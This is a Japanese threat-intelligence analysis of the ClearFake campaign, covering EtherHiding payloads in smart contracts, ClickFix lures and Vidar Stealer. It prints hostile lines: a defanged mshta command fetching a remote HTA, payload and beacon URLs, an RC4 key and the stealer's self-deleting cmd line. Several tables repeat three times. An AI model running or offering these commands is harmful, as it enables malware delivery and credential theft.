今日表示しない

トップへ戻る

トップへ戻る

ClickFix、EtherHiding技術を使用するClearFakeキャンペーンの分析
ClickFix、EtherHiding技術を使用するClearFakeキャンペーンの分析

脅威インテリジェンス

脅威インテリジェンス

脅威インテリジェンス

ClickFixEtherHiding使ClearFake

ClickFixEtherHiding使ClearFake

ClickFixEtherHiding使ClearFake

エンキホワイトハット

エンキホワイトハット

コンテンツ

コンテンツ

コンテンツ

概要

  • 悪質なJavaScriptファイルを収集して分析していたところ、継続的にClearFakeキャンペーンのスクリプトが収集された。

  • ClearFakeキャンペーンを分析した結果、EtherHiding手法とClickFix手法を使用している様子を確認することができた。

  • ClearFakeキャンペーンはWindowsとmacOSのユーザーをターゲットにし、最終的にインフォスティーラー(情報窃取型)マルウェアを配布した。

  • EtherHiding手法に使用されたスマートコントラクトを分析した結果、関連するスマートコントラクトのアドレスを個別に追加で確保した。

  • スマートコントラクトのトランザクション履歴を通じて、過去の攻撃に使用されていたマルウェア配布サーバーのアドレスを確保した。

1. 概要

VirusTotal Hunting機能で収集したJavaScriptファイルを分析していたところ、多数のJavaScriptファイルで特定のスマートコントラクトアドレスが言及されていることを確認した。追加分析の結果、該当のスマートコントラクトアドレスは、ClearFakeキャンペーンで使用されているEtherHiding手法と関連していることが明らかになった。

ClearFakeキャンペーンは、EtherHidingとClickFix手法を活用してマルウェアを隠蔽し、多数のユーザーにマルウェアを拡散する巧妙な攻撃である。EtherHiding手法は、イーサリアムのスマートコントラクトを利用して悪意のある行為を隠す技術であり、ClickFix手法は、ユーザーのクリックを誘導してマルウェアを実行させる方式である。

本稿では、これら2つの手法を活用して多数のユーザーにマルウェアを拡散するClearFakeキャンペーンの分析内容について説明する。

2. 背景

2.1. ClearFake キャンペーン

ClearFake キャンペーンは、2023年8月26日にセキュリティ研究者の Randy McEoin 氏が執筆した記事で初めて言及された。このキャンペーンは、正常なWebサイトに悪意のあるJavaScriptコードを挿入し、Webサイトにアクセスしたユーザーにマルウェアを流布する方式で進行する。初期にはChromeブラウザのアップデートに偽装してマルウェアをダウンロードするように誘導していたが、最近ではEtherHiding手法とClickFix手法を組み合わせ、ユーザーが直接PowerShellコマンドを実行するように誘導する攻撃手法を使用している。

2.2. EtherHiding 手法

EtherHidingとは、イーサリアム(Ethereum)と隠す(Hiding)が合わさった単語で、ブロックチェーンのスマートコントラクトを活用してマルウェアを流布する攻撃手法である。攻撃者はスマートコントラクトにペイロードを挿入し、外部からイーサリアムAPIのeth_callメソッドを使用して、挿入されたペイロードを呼び出す。

この手法は、ブロックチェーンの匿名性と不変性を活用し、一度挿入されたペイロードに継続的にアクセスできるという特徴がある。

2.3. ClickFix 手法

ClickFixとは、ソーシャルエンジニアリング手法の一種であり、偽のエラーメッセージを活用して、PowerShellコマンドのような悪意のあるコンテンツをユーザー自身に直接実行するように誘導する。

3. キャンペーン分析

3.1. 悪意のあるJavaScriptコード

ClearFakeキャンペーンは、ウェブサイトに悪意のあるJavaScriptコードを挿입し、ユーザーがウェブサイトにアクセスした際にJavaScriptコードが実行されるようにします。本稿で分析したJavaScriptは、ウェブサイトのメインページにアクセスしたときに実行されます。主要なコードはエンコードされており、デコードした後に難読化を解除してコードを確認しました。

인코딩된 악성 자바스크립트 코드

caption - エンコードされた悪意のあるJavaScriptコード

JavaScriptコードが実行されると、まずconsoleオブジェクトの主要なメソッドを再定義し、正常な動作ができないようにします。

console 객체 주요 메소드 재정의 루틴

caption - consoleオブジェクトの主要メソッド再定義ルーチン

その後、BSC(バイナンススマートコントラクト)にデプロイされたスマートコントラクトからペイロードを読み込んで実行します。

JavaScriptコードはEtherHidingの手法を通じて、次の段階のマルウェアをダウンロードして実行します。EtherHiding手法に使用されるコントラクトは、計3つです。それぞれStage1、Stage2、Stage3のコントラクトに区分されます。

3.2. Stage1コントラクト

Stage1コントラクトのアドレスは「0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53」です。JavaScriptコードにおいて、Stage 1コントラクトのABIを通じて4つの関数を呼び出します。

Stage1 컨트랙트 ABI 루틴

caption - Stage1コントラクトABIルーチン

ABIに明示された関数を確認するため、コントラクトのバイトコードをデコンパイルして分析しました。バイトコードはOnline Solidity Decompilerを通じてデコンパイルし、ABIに明示された4つの関数以外にも、さらに2つの関数があることを確認できました。

디컴파일된 Stage1 컨트랙트 바이트 코드에서 확인한 ABI에 명시되지 않은 함수

caption - デコンパイルされたStage1コントラクトのバイトコードから確認された、ABIに明示されていない関数

デコンパイルされたバイトコードを通じて確認した関数の動作は、以下の表の通りです。

| Signature | 함수 이름 | 요구 권한 | 함수 행위 |
| --- | --- | --- | --- |
| 0x711452e6 | orchidABI | 없음 | Stage2 컨트렉트의 ABI를 반환한다. |
| 0x59211f8f | orchidAddress | 없음 | Stage2 컨트렉트의 주소를 반환한다. |
| 0x8420b126 | merlionABI | 없음 | Stage3 컨트렉트의 ABI를 반환한다. |
| 0x12dc3f4a | merlionAddress | 없음 | Stage3 컨트렉트의 주소를 반환한다. |
| 0xb24f585c | 확인 불가 | Admin | 인자 값을 Stage2 컨트렉트의 ABI와 주소로 저장한다. |
| 0x35725789 | 확인 불가 | Admin | 인자 값을 Stage3 컨트렉트의 ABI와 주소로 저장한다

| Signature | 함수 이름 | 요구 권한 | 함수 행위 |
| --- | --- | --- | --- |
| 0x711452e6 | orchidABI | 없음 | Stage2 컨트렉트의 ABI를 반환한다. |
| 0x59211f8f | orchidAddress | 없음 | Stage2 컨트렉트의 주소를 반환한다. |
| 0x8420b126 | merlionABI | 없음 | Stage3 컨트렉트의 ABI를 반환한다. |
| 0x12dc3f4a | merlionAddress | 없음 | Stage3 컨트렉트의 주소를 반환한다. |
| 0xb24f585c | 확인 불가 | Admin | 인자 값을 Stage2 컨트렉트의 ABI와 주소로 저장한다. |
| 0x35725789 | 확인 불가 | Admin | 인자 값을 Stage3 컨트렉트의 ABI와 주소로 저장한다

| Signature | 함수 이름 | 요구 권한 | 함수 행위 |
| --- | --- | --- | --- |
| 0x711452e6 | orchidABI | 없음 | Stage2 컨트렉트의 ABI를 반환한다. |
| 0x59211f8f | orchidAddress | 없음 | Stage2 컨트렉트의 주소를 반환한다. |
| 0x8420b126 | merlionABI | 없음 | Stage3 컨트렉트의 ABI를 반환한다. |
| 0x12dc3f4a | merlionAddress | 없음 | Stage3 컨트렉트의 주소를 반환한다. |
| 0xb24f585c | 확인 불가 | Admin | 인자 값을 Stage2 컨트렉트의 ABI와 주소로 저장한다. |
| 0x35725789 | 확인 불가 | Admin | 인자 값을 Stage3 컨트렉트의 ABI와 주소로 저장한다

caption - Stage1コントラクトの関数

JavaScriptコードでは、Stage1コントラクトの「orchidABI」関数と「orchidAddress」関数を実行し、Stage2コントラクトのABIとアドレスを取得します。

Stage2コントラクトのABIとアドレスを取得すると、「tokyoSkytree」関数を実行し、関数実行の結果をbase64でデコードおよびgzipで圧縮解除した後にevalで実行します。

Stage2 컨트랙트 ABI

caption - Stage2コントラクトABI

3.3. Stage2コントラクト

Stage2コントラクトのアドレスは「0x8FBA1667BEF5EdA433928b220886A830488549BD」であり、gzipで圧縮されbase64でエンコードされたJavaScriptファイルを保存または返却する関数で構成されています。

디컴파일된 Stage2 컨트랙트 바이트 코드

caption - デコンパイルされたStage2コントラクトバイトコード

特徴的なことに、すべての関数名には日本の地名が含まれています。デコンパイルされたバイトコードを通じて確認した関数の動作は、以下の表の通りです。

| Signature | 함수 이름 | 요구 권한 | 함수 행위 |
| --- | --- | --- | --- |
| 0x51bc047f | akihabaraLights | 없음 | 저장된 akihabaraLights를 반환한다. |
| 0x0c36b675 | asakusaTemple | 없음 | 저장된 asakusaTemple를 반환한다. |
| 0xfa3ba790 | ginzaLuxury | 없음 | 저장된 ginzaLuxury를 반환한다. |
| 0x316f4063 | shibuyaCrossing | 없음 | 저장된 shibuyaCrossing를 반환한다. |
| 0x432c42e5 | tokyoSkytree | 없음 | 저장된 tokyoSkytree를 반환한다. |
| 0x416f2896 | setAkihabaraLights | Admin | 인자 값을 akihabaraLights로 저장한다. |
| 0xa76e7648 | setAsakusaTemple | Admin | 인자 값을 asakusaTemple로 저장한다. |
| 0xa98b06d3  | setGinzaLuxury | Admin | 인자 값을 ginzaLuxury로 저장한다. |
| 0x1ba79aa2 | setShibuyaCrossing | Admin | 인자 값을 shibuyaCrossing로 저장한다. |
| 0x9f7a7126 | setTokyoSkytree | Admin | 인자 값을 tokyoSkytree로 저장한다

| Signature | 함수 이름 | 요구 권한 | 함수 행위 |
| --- | --- | --- | --- |
| 0x51bc047f | akihabaraLights | 없음 | 저장된 akihabaraLights를 반환한다. |
| 0x0c36b675 | asakusaTemple | 없음 | 저장된 asakusaTemple를 반환한다. |
| 0xfa3ba790 | ginzaLuxury | 없음 | 저장된 ginzaLuxury를 반환한다. |
| 0x316f4063 | shibuyaCrossing | 없음 | 저장된 shibuyaCrossing를 반환한다. |
| 0x432c42e5 | tokyoSkytree | 없음 | 저장된 tokyoSkytree를 반환한다. |
| 0x416f2896 | setAkihabaraLights | Admin | 인자 값을 akihabaraLights로 저장한다. |
| 0xa76e7648 | setAsakusaTemple | Admin | 인자 값을 asakusaTemple로 저장한다. |
| 0xa98b06d3  | setGinzaLuxury | Admin | 인자 값을 ginzaLuxury로 저장한다. |
| 0x1ba79aa2 | setShibuyaCrossing | Admin | 인자 값을 shibuyaCrossing로 저장한다. |
| 0x9f7a7126 | setTokyoSkytree | Admin | 인자 값을 tokyoSkytree로 저장한다

| Signature | 함수 이름 | 요구 권한 | 함수 행위 |
| --- | --- | --- | --- |
| 0x51bc047f | akihabaraLights | 없음 | 저장된 akihabaraLights를 반환한다. |
| 0x0c36b675 | asakusaTemple | 없음 | 저장된 asakusaTemple를 반환한다. |
| 0xfa3ba790 | ginzaLuxury | 없음 | 저장된 ginzaLuxury를 반환한다. |
| 0x316f4063 | shibuyaCrossing | 없음 | 저장된 shibuyaCrossing를 반환한다. |
| 0x432c42e5 | tokyoSkytree | 없음 | 저장된 tokyoSkytree를 반환한다. |
| 0x416f2896 | setAkihabaraLights | Admin | 인자 값을 akihabaraLights로 저장한다. |
| 0xa76e7648 | setAsakusaTemple | Admin | 인자 값을 asakusaTemple로 저장한다. |
| 0xa98b06d3  | setGinzaLuxury | Admin | 인자 값을 ginzaLuxury로 저장한다. |
| 0x1ba79aa2 | setShibuyaCrossing | Admin | 인자 값을 shibuyaCrossing로 저장한다. |
| 0x9f7a7126 | setTokyoSkytree | Admin | 인자 값을 tokyoSkytree로 저장한다

caption - Stage2コントラクトの関数

Stage2コントラクトに保存されているJavaScriptファイルは計5つであり、メインファイルである「tokyoSkytree」から残りの4つのファイルを読み込んで実行します。

tokyoSkytree

「tokyoSkytree」は、クッキーに「not-robot」値があるか確認し、存在しない場合は以下の順序でJavaScriptファイルを読み込み、base64デコードおよびgzip圧縮解除した後に実行します。

  • shibuyaCrossing

  • akihabaraLights

  • ginzaLuxury

  • asakusaTemple

実行が完了すると、クッキーの保持時間を30日に設定して、not-robotの値をtrueにします。

디코딩된 tokyoSkytree 자바스크립트 파일

caption - デコードされたtokyoSkytreeのJavaScriptファイル

shibuyaCrossing

ウェブサイトにアクセスした機器のOS情報を確認し、「sdTokyo」変数に保存します。

디코딩된 shibuyaCrossing 자바스크립트 파일

caption - デコードされたshibuyaCrossingのJavaScriptファイル

OS情報はuser Agentに特定の文字列が含まれているかどうかで識別され、識別可能なOSと各OSを区分する文字列は、以下の表の通りです。どの条件にも合致しない場合、sdTokyo変数にはUnknownが保存されます。

| OS | 문자열 |
| --- | --- |
| Windows | Win |
| MacOS | Mac |
| iOS | Mac과 iPhone, iPad, iPod 하나 이상 |
| Linux | Linux |
| Android | Linux와 Android |
| ChromeOS | CrOS |
| PlayStation | PlayStation |
| Xbox | Xbox |
| Nintendo | Nintendo |
| BSD | BSD |
| Solaris | SunOS, Solaris 하나 이상 |
| Haiku | Haiku |
| webOS | webOS |
| Darwin | Darwin |
| QNX | QNX

| OS | 문자열 |
| --- | --- |
| Windows | Win |
| MacOS | Mac |
| iOS | Mac과 iPhone, iPad, iPod 하나 이상 |
| Linux | Linux |
| Android | Linux와 Android |
| ChromeOS | CrOS |
| PlayStation | PlayStation |
| Xbox | Xbox |
| Nintendo | Nintendo |
| BSD | BSD |
| Solaris | SunOS, Solaris 하나 이상 |
| Haiku | Haiku |
| webOS | webOS |
| Darwin | Darwin |
| QNX | QNX

| OS | 문자열 |
| --- | --- |
| Windows | Win |
| MacOS | Mac |
| iOS | Mac과 iPhone, iPad, iPod 하나 이상 |
| Linux | Linux |
| Android | Linux와 Android |
| ChromeOS | CrOS |
| PlayStation | PlayStation |
| Xbox | Xbox |
| Nintendo | Nintendo |
| BSD | BSD |
| Solaris | SunOS, Solaris 하나 이상 |
| Haiku | Haiku |
| webOS | webOS |
| Darwin | Darwin |
| QNX | QNX

caption - OS情報の識別文字列

akihabaraLights

ウェブサイトにアクセスした機器のブラウザ情報を確認し、sdOsaka変数に保存します。

디코딩된 akihabaraLights 자바스크립트 파일

caption - デコードされたakihabaraLightsのJavaScriptファイル

ブラウザ情報はuserAgentに特定の文字列が含まれているかどうかで識別され、一部のブラウザでは特定の文字列が存在しないこともあわせて確認します。識別可能なブラウザと識別文字列は、以下の表の通りです。どの条件にも合致しない場合、「sdTokyo」変数にUnknownが保存されます。

| 브라우저 | 포함 문자열 | 제외 문자열 |
| --- | --- | --- |
| Google Chrome | Chrome | Edg |
| Mozilla Firefox | Firefox | 없음 |
| Opera | OPR, Opera 하나 이상  | 없음 |
| Microsoft Edge | Edg | 없음 |
| Safari | Safari | Chrome |
| Internet Explorer | MSIE, Trident 하나 이상  | 없음

| 브라우저 | 포함 문자열 | 제외 문자열 |
| --- | --- | --- |
| Google Chrome | Chrome | Edg |
| Mozilla Firefox | Firefox | 없음 |
| Opera | OPR, Opera 하나 이상  | 없음 |
| Microsoft Edge | Edg | 없음 |
| Safari | Safari | Chrome |
| Internet Explorer | MSIE, Trident 하나 이상  | 없음

| 브라우저 | 포함 문자열 | 제외 문자열 |
| --- | --- | --- |
| Google Chrome | Chrome | Edg |
| Mozilla Firefox | Firefox | 없음 |
| Opera | OPR, Opera 하나 이상  | 없음 |
| Microsoft Edge | Edg | 없음 |
| Safari | Safari | Chrome |
| Internet Explorer | MSIE, Trident 하나 이상  | 없음

caption - ブラウザ情報の識別文字列

ginzaLuxury

Stage3コントラクトから次の段階のコードを読み込んで復号した後に実行します。

디코딩된 ginzaLuxury의 AES-GCM 복호화 코드

caption - デコードされたginzaLuxuryのAES-GCM復号コード

まず、Stage1コントラクトの「merlionAddress」および「merlionABI」関数を呼び出して、Stage3コントラクトのABIとアドレスを取得します。

Stage3 컨트랙트의 ABI

caption - Stage3コントラクトのABI

その後、Stage3コントラクトにおいて、「getRandomSkylineByBrowserAndPlatform」関数の引数として、収集したブラウザ情報とOS情報を渡して実行します。「getRandomSkylineByBrowserAndPlatform」関数の戻り値はURLであり、該当のURLにはbase64でエンコードされたデータが保存されています。

URL에 저장된 데이터

caption - URLに保存されたデータ

URLに保存されたデータの復号プロセスは、以下の通りです。

  1. データをbase64でデコードします。

  2. Stage3コントラクトの「pearlTower」関数を実行した結果をbase64でデコードします。

  3. デコードされた「pearlTower」の実行結果をキーとして使用し、デコードされたデータの最初の12バイトをIVとして使用します。

  4. AES-GCMでIV以降のデータを復号します。

復号されたデータは、ClickFix手法を利用してユーザーにコマンドを実行するように誘導するHTMLファイルであり、最終的にこのファイルがウェブサイトにアクセスしたユーザーに表示されます。

asakusaTemple

「asakusaTemple」は、hxxps://technavix[.]cloudにuserAgent情報を送信します。

디코딩된 asakusaTemple 자바스크립트 파일

caption - デコードされたasakusaTempleのJavaScriptファイル

3.4. Stage3コントラクト

Stage3コントラクトは、ClickFixデータの保存先URL、復号キー、ClickFixコマンド、現在のステータスを保存および返却する関数を含んでいます。この時、ClickFixデータの保存先URLは「Shanghai.Skyline」構造体として保存され、構造体に保存されるデータは以下の通りです。

  • ID

  • URL

  • ブラウザ情報

  • OS情報

  • ClickFixの種類

デコンパイルされたバイトコードを通じて確認した関数の動作は、以下の表の通りです。

| Signature | 함수 이름 | 요구 권한 | 함수 행위 |
| --- | --- | --- | --- |
| 0xbaf7bb8f | addSkyline | Admin | 인자 값을 Skyline 구조체로 저장한다. |
| 0xd11da92c | cityStatus | 없음 | 현재 상태를 반환한다. |
| 0x400a77ab | fallbackMessage | 없음 | 저장된 메시지를 반환한다. |
| 0x128cfc44 | getAllSkylines | 없음 | 저장된 모든 Skyline 구조체를 반환한다. |
| 0x75755384 | getRandomSkylineByBrowserAndPlatform | 없음 | 브라우저와 OS 정보가 일치하는 Skyline 구조체를 반환한다. |
| 0x4724d397 | jadeCode | 없음 | 저장된 복호화 키를 반환한다. |
| 0x7799d770 | pearlTower | 없음 | 저장된 ClickFix 명령어를 반환한다. |
| 0xeb7a8223 | removeAllSkylines | Admin | 저장된 모든 Skyline 구조체를 삭제한다. |
| 0x6e575508 | removeSkylineById | Admin | 특정 ID를 가진 Skyline 구조체를 삭제한다. |
| 0xda4c3e46 | setCityStatus | Admin | 인자 값을 현재 상태로 저장한다. |
| 0x7f996e6a | setFallbackMessage | Admin | 인자 값을 메시지로 저장한다. |
| 0x67685e3e | setJadeCode | Admin | 인자 값을 ClickFix 명령어로 저장한다. |
| 0x167d1c4b | setPearlTower | Admin | 인자 값을 복호화 키로 저장한다. |
| 0x4128180a | updateSkylinesById | Admin | 특정 ID를 가진 Skyline 구조체의 URL 값을 변경한다

| Signature | 함수 이름 | 요구 권한 | 함수 행위 |
| --- | --- | --- | --- |
| 0xbaf7bb8f | addSkyline | Admin | 인자 값을 Skyline 구조체로 저장한다. |
| 0xd11da92c | cityStatus | 없음 | 현재 상태를 반환한다. |
| 0x400a77ab | fallbackMessage | 없음 | 저장된 메시지를 반환한다. |
| 0x128cfc44 | getAllSkylines | 없음 | 저장된 모든 Skyline 구조체를 반환한다. |
| 0x75755384 | getRandomSkylineByBrowserAndPlatform | 없음 | 브라우저와 OS 정보가 일치하는 Skyline 구조체를 반환한다. |
| 0x4724d397 | jadeCode | 없음 | 저장된 복호화 키를 반환한다. |
| 0x7799d770 | pearlTower | 없음 | 저장된 ClickFix 명령어를 반환한다. |
| 0xeb7a8223 | removeAllSkylines | Admin | 저장된 모든 Skyline 구조체를 삭제한다. |
| 0x6e575508 | removeSkylineById | Admin | 특정 ID를 가진 Skyline 구조체를 삭제한다. |
| 0xda4c3e46 | setCityStatus | Admin | 인자 값을 현재 상태로 저장한다. |
| 0x7f996e6a | setFallbackMessage | Admin | 인자 값을 메시지로 저장한다. |
| 0x67685e3e | setJadeCode | Admin | 인자 값을 ClickFix 명령어로 저장한다. |
| 0x167d1c4b | setPearlTower | Admin | 인자 값을 복호화 키로 저장한다. |
| 0x4128180a | updateSkylinesById | Admin | 특정 ID를 가진 Skyline 구조체의 URL 값을 변경한다

| Signature | 함수 이름 | 요구 권한 | 함수 행위 |
| --- | --- | --- | --- |
| 0xbaf7bb8f | addSkyline | Admin | 인자 값을 Skyline 구조체로 저장한다. |
| 0xd11da92c | cityStatus | 없음 | 현재 상태를 반환한다. |
| 0x400a77ab | fallbackMessage | 없음 | 저장된 메시지를 반환한다. |
| 0x128cfc44 | getAllSkylines | 없음 | 저장된 모든 Skyline 구조체를 반환한다. |
| 0x75755384 | getRandomSkylineByBrowserAndPlatform | 없음 | 브라우저와 OS 정보가 일치하는 Skyline 구조체를 반환한다. |
| 0x4724d397 | jadeCode | 없음 | 저장된 복호화 키를 반환한다. |
| 0x7799d770 | pearlTower | 없음 | 저장된 ClickFix 명령어를 반환한다. |
| 0xeb7a8223 | removeAllSkylines | Admin | 저장된 모든 Skyline 구조체를 삭제한다. |
| 0x6e575508 | removeSkylineById | Admin | 특정 ID를 가진 Skyline 구조체를 삭제한다. |
| 0xda4c3e46 | setCityStatus | Admin | 인자 값을 현재 상태로 저장한다. |
| 0x7f996e6a | setFallbackMessage | Admin | 인자 값을 메시지로 저장한다. |
| 0x67685e3e | setJadeCode | Admin | 인자 값을 ClickFix 명령어로 저장한다. |
| 0x167d1c4b | setPearlTower | Admin | 인자 값을 복호화 키로 저장한다. |
| 0x4128180a | updateSkylinesById | Admin | 특정 ID를 가진 Skyline 구조체의 URL 값을 변경한다

caption - Stage3コントラクトの関数

保存された内容を返却する関数を除く、すべての関数はAdmin権限を要求します。2025年7月14日基準で、「getAllSkylines」関数から確認されたSkylineの一覧は、以下の表の通りです。

| ID | URL | 브라우저 | OS | ClickFix 종류 |
| --- | --- | --- | --- | --- |
| 0 | hxxps://yie-cpj[.]pages.dev/mac | Google Chrome | MacOS | Captcha |
| 1 | hxxps://yie-cpj[.]pages.dev/mac | Safari | MacOS | Captcha |
| 2 | hxxps://yie-cpj[.]pages.dev/mac | Mozilla Firefox | MacOS | Captcha |
| ID | URL | 브라우저 | OS | ClickFix 종류 |
| --- | --- | --- | --- | --- |
| 0 | hxxps://yie-cpj[.]pages.dev/mac | Google Chrome | MacOS | Captcha |
| 1 | hxxps://yie-cpj[.]pages.dev/mac | Safari | MacOS | Captcha |
| 2 | hxxps://yie-cpj[.]pages.dev/mac | Mozilla Firefox | MacOS | Captcha |
| ID | URL | 브라우저 | OS | ClickFix 종류 |
| --- | --- | --- | --- | --- |
| 0 | hxxps://yie-cpj[.]pages.dev/mac | Google Chrome | MacOS | Captcha |
| 1 | hxxps://yie-cpj[.]pages.dev/mac | Safari | MacOS | Captcha |
| 2 | hxxps://yie-cpj[.]pages.dev/mac | Mozilla Firefox | MacOS | Captcha |

caption - Skylineの一覧

SkylineのURLには、先ほど「ginzaLuxury」で言及された暗号化されたHTMLファイルが保存されています。復号されたHTMLファイルは、ClickFix手法を介してユーザーがコマンドを実行するように誘導します。

コマンドはウェブページ上には表示されず、HTMLに添付されたJavaScriptコードを通じてクリップボードにコピーされます。コピーされるコマンドはオペレーティングシステムごとに異なり、現在までに確認されているコマンドはWindows用とmacOS用の2種類です。

3.5. Windows ClickFix

分析当時、コントラクトにはmacOS用のURLしか存在していませんでしたが、BSCのトランザクション履歴を介してWindows用のURLも確認することができました。

과거에 사용된 Windows용 URL이 저장된 0xa208b768a3b06c11a3483d5e5d89129bc114dc6a10f59bbab802e0ccd6997a90 트랜잭션 데이터

caption - 過去に使用されたWindows用のURLが保存されている 0xa208b768a3b06c11a3483d5e5d89129bc114dc6a10f59bbab802e0ccd6997a90 トランザクションデータ

URLに保存されたデータを復号すると、以下のイメージのように、エラーメッセージを装ってユーザーにPowerShellコマンドを実行するように誘導するHTMLファイルを確認できます。

사용자에게 보여지는 복호화된 HTML

caption - ユーザーに表示される復号されたHTML

PowerShellコマンドは、以下のJavaScriptコードを介してユーザーのクリップボードにコピーされます。

클립보드에 파워쉘 명령어를 복사하는 자바스크립트 코드

caption - クリップボードにPowerShellコマンドをコピーするJavaScriptコード

クリップボードにコピーされるPowerShellコマンドは、以下の通りです。

  • mshta hxxps://microsoft-dns-reload-1n.pages.dev

MSHTAスクリプト

mshta.exeは、HTMLファイルを実行するためのWindows組み込みプログラムです。攻撃者のPowerShellコマンドは、mshta.exeを利用して「hxxps://microsoft-dns-reload-1n.pages.dev」のHTMLファイルを実行します。

MSHTA를 통해 실행되는 HTML 파일

caption - MSHTAを通じて実行されるHTMLファイル

HTMLファイルにはVBScriptコードが含まれており、内部のPowerShellコマンドは、base64でエンコードされたURLからファイルをダウンロードして実行します。デコードされたURLは、以下の通りです。

  • hxxps://raw.githubusercontent.com/wiraaji/improved-happiness/refs/heads/main/pc.txt

PowerShellスクリプト

VBScriptコードを介してダウンロードされるファイルで、PowerShellスクリプトです。GitHubからマルウェアをダウンロードしてTempパスにランダムな名前で保存し、実行します。その後、感染したシステムのIPアドレスを「hxxps://saaadnesss.shop/connect」に送信します。

파워쉘 스크립트 코드

caption - PowerShellスクリプトのコード

RisingStrip.exe

RisingStrip.exeは、NSIS(Nullsoft Scriptable Install System)で作成されたインストーラーです。当該ファイルを実行すると、「%LOCALAPPDATA%\Microsoft\Windows\INetCache\91531」パスにAutoitの実行ファイルと、コンパイルされたAutoitスクリプトを生成します。

Autoit 실행 파일과 Autoit 스크립트가 생성된 모습

caption - Autoitの実行ファイルとAutoitスクリプトが生成された様子

コンパイルされたAutoitスクリプトには、暗号化された実行ファイルとシェルコードが16進数の文字列として保存されています。

디컴파일된 Autoit 스크립트에 저장된 암호화된 Vidar Stealer

caption - デコンパイルされたAutoitスクリプトに保存されている暗号化されたVidar Stealer

コンパイルされたAutoitスクリプトは、DllCallAddress関数を通じてシェルコードを実行します。この時、引数として暗号化された実行ファイルとRC4キー(46161468299921365240487271780856262)が渡されます。シェルコードはRC4で暗号化された実行ファイルを復号して実行します。

쉘코드의 RC4 PGRA 함수

caption - シェルコードのRC4 PGRA関数

復号された実行ファイルはVidar Stealerであり、ほとんどの関数アドレスをメモリ上に保存された値の演算によって計算して呼び出す難読化が施されています。大半の演算は加算演算であり、結果がintの範囲(4バイト)を超えて4バイトでの剰余演算が行われたときに正しいアドレスが得られるように設計されています。

난독화가 적용된 Vidar Stealer의 start 함수

caption - 難読化が適用されたVidar Stealerのstart関数

使用されるほとんどの文字列は、1バイトのXOR演算によって暗号化されています。XORキーの長さおよびキーの位置は、文字列ごとに異なります。

일부 문자열 복호화 함수

caption - 一部の文字列の復号関数

C&Cサーバーのアドレスは、TelegramまたはSteamアカウントから取得します。Telegramの「w211et」プロフィールリンクにHTTPリクエストを送信した後、受信データの「hu76a」以降の値をC&Cサーバーのアドレスとして使用します。Telegramを通じてC&Cサーバーのアドレスが見つからない場合は、Steamの「76561199811540174」プロフィールリンクからC&Cアドレスを取得します。

복호화된 Vidar Stealer에 존재하는 텔레그램 계정과 스팀 프로필 링크

caption - 復号されたVidar Stealerに存在するTelegramアカウントとSteamプロフィールのリンク

C&Cサーバーのアドレス取得に成功すると、システム固有のIDを生成するために、Cドライブのボリュームシリアル番号とハードウェアプロファイル情報を結合します。このIDをhwidに、ハードコードされた値(f4c9ac30c7e86011d996b9b6076307b5)をbuild_idに設定してC&Cサーバーに送信します。分析当時は、TelegramとSteamプロフィールの両方からC&Cサーバーアドレスが削除された状態でした。

텔레그램 링크 접속 화면

caption - Telegramリンクへのアクセス画面

스팀 프로필 접속 화면

caption - Steamプロフィールへのアクセス画面

その後、ハードウェア情報、インストールされているプログラム、ユーザー名などの情報を「information.txt」という名前のファイルでC&Cサーバーへ送信します。information.txtの内容は、以下の通りです。

Version: 12.3

Date: <Local Time>
MachineID: <SOFTWARE\\Microsoft\\Cryptography\\MachineGuid>
GUID: <MachineGuid>
HWID: <System ID>

Path: <Malware Installed Path>
Work Dir: In memory

Windows: <Windows Version>
Install Date: Disabled
AV: Disabled
Computer Name: <Computer Name>
User Name: <User Name>
Display Resolution: <Display Size>
Keyboard Languages: <Keyboard Languages>
Local Time: <Local Time>
TimeZone: <TimeZone>

[Hardware]
Processor: <Processor Name>
Cores: <Number of Processor Cores>
Threads: <Number of Threads>
RAM: <Maximum RAM> MB
VideoCard

Version: 12.3

Date: <Local Time>
MachineID: <SOFTWARE\\Microsoft\\Cryptography\\MachineGuid>
GUID: <MachineGuid>
HWID: <System ID>

Path: <Malware Installed Path>
Work Dir: In memory

Windows: <Windows Version>
Install Date: Disabled
AV: Disabled
Computer Name: <Computer Name>
User Name: <User Name>
Display Resolution: <Display Size>
Keyboard Languages: <Keyboard Languages>
Local Time: <Local Time>
TimeZone: <TimeZone>

[Hardware]
Processor: <Processor Name>
Cores: <Number of Processor Cores>
Threads: <Number of Threads>
RAM: <Maximum RAM> MB
VideoCard

Version: 12.3

Date: <Local Time>
MachineID: <SOFTWARE\\Microsoft\\Cryptography\\MachineGuid>
GUID: <MachineGuid>
HWID: <System ID>

Path: <Malware Installed Path>
Work Dir: In memory

Windows: <Windows Version>
Install Date: Disabled
AV: Disabled
Computer Name: <Computer Name>
User Name: <User Name>
Display Resolution: <Display Size>
Keyboard Languages: <Keyboard Languages>
Local Time: <Local Time>
TimeZone: <TimeZone>

[Hardware]
Processor: <Processor Name>
Cores: <Number of Processor Cores>
Threads: <Number of Threads>
RAM: <Maximum RAM> MB
VideoCard

information.txtを送信した後、ブラウザ情報、WinSCP情報、FileZilla情報、および特定のプログラムの情報を収集してC&Cサーバーに送信します。収集する情報の詳細内容は、以下の通りです。

| 브라우저 정보 | WinSCP 정보 | FileZilla 정보 | 정보 수집 대상 프로그램 |
| --- | --- | --- | --- |
| Chrome | HostName | HostName | Steam |
| Opera Stable | PortNumber | PortNumber | Discord |
| Opera GX | UserName | UserName | Telegram |
| FireFox | Password | Base64 Encoded Password | Azure

| 브라우저 정보 | WinSCP 정보 | FileZilla 정보 | 정보 수집 대상 프로그램 |
| --- | --- | --- | --- |
| Chrome | HostName | HostName | Steam |
| Opera Stable | PortNumber | PortNumber | Discord |
| Opera GX | UserName | UserName | Telegram |
| FireFox | Password | Base64 Encoded Password | Azure

| 브라우저 정보 | WinSCP 정보 | FileZilla 정보 | 정보 수집 대상 프로그램 |
| --- | --- | --- | --- |
| Chrome | HostName | HostName | Steam |
| Opera Stable | PortNumber | PortNumber | Discord |
| Opera GX | UserName | UserName | Telegram |
| FireFox | Password | Base64 Encoded Password | Azure

caption - 収集情報

すべての情報を送信し終えると、以下のコマンドを実行して自身を削除し、プロセスを終了します。

  • "C:\Windows\system32\cmd.exe" /c del /f /q "C:\ProgramData\<MalwarePath>" & timeout /t 11 & rd /s /q "C:\ProgramData\<MalwareFolder>" & exit

3.6. macOS ClickFix

macOSで実行されるHTMLファイルは、Windowsとは異なりロボットではないことを証明するよう求め、クリップボードの内容をターミナルで実行するように誘導します。

HTML 파일 실행 결과

caption - HTMLファイル実行結果

